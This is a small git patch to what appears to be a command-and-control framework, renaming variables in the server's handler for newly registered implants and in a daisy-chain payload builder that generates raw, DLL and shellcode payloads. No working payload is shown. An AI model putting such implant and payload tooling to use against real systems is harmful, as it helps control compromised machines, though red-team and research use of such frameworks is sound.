From 71453c369e1f1d470d1a73dfbc9982f33196c23b Mon Sep 17 00:00:00 2001 From: m0rv4i Date: Thu, 14 Mar 2019 09:22:15 +0000 Subject: [PATCH] Fix variable names --- C2Server.py | 2 +- ImplantHandler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/C2Server.py b/C2Server.py index adf7b3f..7fc8a69 100644 --- a/C2Server.py +++ b/C2Server.py @@ -200,7 +200,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): newImplant.save() newImplant.display() newImplant.autoruns() - responseVal = encrypt(KEY, newImplant.C2Core) + responseVal = encrypt(KEY, newImplant.PSCore) s.send_response(200) s.send_header("Content-type", "text/html") diff --git a/ImplantHandler.py b/ImplantHandler.py index 8690d19..15dcc46 100644 --- a/ImplantHandler.py +++ b/ImplantHandler.py @@ -89,7 +89,7 @@ def createdaisypayload(user, startup): newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "", "", proxynone, C2[19], C2[20], C2[21], "%s?d" % get_newimplanturl(), PayloadsDirectory) - newPayload.C2Core = (newPayload.C2Core).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3])) + newPayload.PSDropper = (newPayload.PSDropper).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3])) newPayload.CreateRaw(name) newPayload.CreateDlls(name) newPayload.CreateShellcode(name)